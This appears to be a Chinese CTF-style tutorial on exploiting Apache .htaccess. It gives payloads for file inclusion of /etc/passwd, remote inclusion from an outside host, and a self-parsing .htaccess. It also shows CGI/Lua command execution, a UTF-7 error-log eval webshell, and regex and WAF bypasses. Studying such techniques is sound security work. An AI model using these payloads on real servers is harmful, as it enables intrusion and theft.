What’s .htaccess
.htaccess文件是 Apache 中有一种特殊的文件,其提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的配置文件。此作用文件作用于此目录及其所有子目录。
作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 配置来设置是否识别执行配置文件
AllowOverride这个配置是默认关闭的
开启
http.conf
.htaccess 中有 # 单行注释符, 且支持\拼接上下两行(注意后面这个东西很重要)
基本使用
自定义出错界面
1
2
3
4
|
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php
|
SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理
1
2
|
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
|
AddHandler
1
2
|
AddType application/x-httpd-php .htm # 则.htm文件也可以执行php程序
AddHandler cgi-script .yyy # 则扩展名为.yyy的文件作为 CGI 脚本来处理
|
AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
1
|
AddType application/x-httpd-php .xxx # 同上AddHandler的作用
|
php_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值,要清除先前设定的值,把 value 设为 none
不要用 php_value 设定布尔值。应该用php_flag
而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令;官方文档
可利用思路
提前/延后加载
本地加载
文件读取/本地包含
使作用范围内的php文件在文件头/尾自动include()指定文件,支持php伪协议,.htaccess可以设置php_value include_path "xxx"将include()的默认路径改变
php_value auto_***_file
1
2
3
4
5
|
# 提前加载
php_value auto_prepend_file /etc/passwd
# 最后加载
# php_value auto_append_file /etc/passwd
|
远程加载
如果开启了allow_url_include可以进行远程预加载,设置好了以后
allow_url_include也是默认关闭的。
因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。
1
|
php_value auto_prepend_file http://192.168.0.181/phpinfo.txt
|
phpinfo.txt
all_url_fopen、all_url_include 为 On 时,下列均成立
1
2
3
4
5
|
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"
|
自包含
.htaccess
1
2
|
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
|
有auto_prepend_file过滤
1
2
3
|
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();
|
自解析
两步配置
-
先在 .htaccess 里面设置允许访问 .htaccess 文件
否则是直接访问 .htaccess 文件是Forbidden的
-
然后再设置将 .htaccess 指定当做 PHP 文件处理并解析
配置文件内容为:
1
2
3
4
5
6
7
8
9
|
<Files .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();
|
1
2
3
4
5
6
7
8
9
|
<FilesMatch .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();
|
1
2
|
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
|
PS:自包含与自解析区别
自解析是自包含+解析.htaccess文件类型配置
改变配置
.htaccess的作用范围默认是当前文件夹及其子文件夹
我们可以通过配置来修改.htaccess的作用范围
内的php文件在文件头
1
|
php_value include_path "xxx"
|
盲注
1
2
3
|
<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "y4tacker"
</If>
|
假设flag为flag{testflag}
通过后面flag{a不断变换字符一直到flag{t,页面就会出现y4tacker
正则失效
1
|
php_value pcre.backtrack_limit 0
|
正则失效的其他配置
| 名字 |
默认 |
可修改范围 |
更新日志 |
| pcre.backtrack_limit |
100000 |
PHP_INI_ALL |
php 5.2.0 起可用 |
| pcre.recursion_limit |
100000 |
PHP_INI_ALL |
php 5.2.0 起可用用 |
| pcre.jit |
1 |
PHP_INI_ALL |
PHP 7.0.0 起可用 |
设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则
本地文件包含
当前目录下php文件头引入/etc/passwd
1
|
php_value auto_append_file /etc/passwd
|
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议
修改默认路径
.htaccess可以设置php_value include_path "xxx"将include()的默认路径改变
1
|
php_value include_path "xxx"
|
等价于
1
2
3
4
5
|
<?php
ini_set("include_path","../../../../../../../../");
include "etc/passwd";
|
Cgi执行
如果开启了 cgi 扩展,也可以来解析shell脚本,也就是说cgi_module 需要加载
apache2.conf中有
1
|
LoadModule cgi_module modules/mod_cgi.so
|
那么可在.htaccess中
1
2
|
Options +ExecCGI #允许CGI执行
AddHandler cgi-script .sh
|
写一个脚本
1
2
3
4
5
|
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls /
exit 0
|
FastCgi执行
需要tomcat配置
1
|
LoadModule fcgid_module modules/mod_fcgid.so
|
那么可在.htaccess中
1
2
3
|
Options +ExecCGI
AddHandler fcgid-script .kk
FcgidWrapper "/bin/ls /" .kk
|
再写一个y4.kk文件,内容随意
最后会执行.htaccess中的内容
Lua执行
1
|
AddHandler lua-script .lua
|
写一个lua文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
require "string"
function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
|
利用报错信息写马
首先写入.htaccess error_log 相关的配置
1
2
3
|
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
|
上面那些神奇字符是utf7编码,可以用下面的方式得到
1
2
3
4
|
<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=y4.txt"; //utf-16le编码写入文件
file_put_contents($filename, "<?php phpinfo();?>")
|
也可以通过
1
|
mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7");
|
然后访问index.php,留下error_log
这时.htaccess写入新配置
1
2
3
|
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
|
再访问一次index.php?1=whoami
绕过exif_imagetype()上传.htaccess
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度,以像素为单位
1
2
3
|
#define width 20
#define height 10
xxxxxx
|
\号绕过waf
比如过滤了file,我们可以使用
1
2
3
|
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();
|
\号绕过藏字符
假设在写入文件同时后面默认加上file_put_contents($filename, $content . "\nhappy"),我们payload最后可以加上#\,#负责注释
1
2
3
4
5
|
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
happy
|
\将注释符和脏字符连成一行,注释掉脏字符
Ref
https://blog.csdn.net/solitudi/article/details/116666720
https://httpd.apache.org/docs/2.4/expr.html
https://xz.aliyun.com/t/8267
http://www.htaccess-guide.com/
https://www.anquanke.com/post/id/185377#h3-4